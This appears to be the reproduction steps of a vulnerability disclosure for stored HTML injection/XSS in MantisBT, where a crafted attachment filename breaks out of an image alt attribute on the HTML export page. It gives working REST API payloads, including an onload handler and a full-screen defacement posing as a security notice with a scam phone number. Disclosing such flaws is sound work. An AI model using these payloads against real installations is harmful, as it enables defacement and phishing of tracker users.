1. Log in as any user with file upload permission on a project.

2. Create or identify a bug in that project to attach a file to.

3. Upload an attachment with a crafted filename that breaks out of the alt attribute. The filename extension becomes the alt value, so the injection is in the extension portion. The following is example to inject onload=... to perform XSS (works only under no / relaxed CSP config with `script-src: 'unsafe-inline'):

   Via REST API:

   POST /api/rest/issues/{bug_id}/files
   Content-Type: application/json
   Authorization: <api_token>
   
   {"files":[{"name":".\" onload=\"alert(1)","content":"/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAP//////////////////////////////////////////////////////////////////////////////////////2wBDAf//////////////////////////////////////////////////////////////////////////////////////wAARCAABAAEDASIAAhEBAxEB/8QAFAABAAAAAAAAAAAAAAAAAAAACf/EABQQAQAAAAAAAAAAAAAAAAAAAAD/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8AKwA="}]}

4. As any authenticated user, visit the HTML export page:

   /print_all_bug_page_word.php?type_page=html&export=1

   Ensure the project containing the target bug is selected.

5. Inspect the page source via browser's dev tool (F12) and search for onload. You will find an <img> tag with the injected attribute:

   <img src="file_download.php?file_id=...&type=bug" alt="" onload="alert(1)" />

   The alt attribute breakout is confirmed. The closing " from the crafted filename terminates the alt attribute, and the remainder is parsed as additional HTML attributes.

6. In a browser without CSP enforcement (or with a relaxed CSP), the onload handler would execute when the image loads. In a default MantisBT installation, CSP blocks the inline handler, but the HTML injection is visible in the DOM regardless.

Defacement payload (works with MantisBT's default config):

{"files":[{"name":".\"><div style=\"position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:99999;background:#fff;color:#000;font-size:28px;padding:40px\">MantisBT Security Notice — your session is locked; Call +1 123 1234-5678 to unlock<br>demo of defacement<x=","content":"/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAP//////////////////////////////////////////////////////////////////////////////////////2wBDAf//////////////////////////////////////////////////////////////////////////////////////wAARCAABAAEDASIAAhEBAxEB/8QAFAABAAAAAAAAAAAAAAAAAAAACf/EABQQAQAAAAAAAAAAAAAAAAAAAAD/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8AKwA="}]}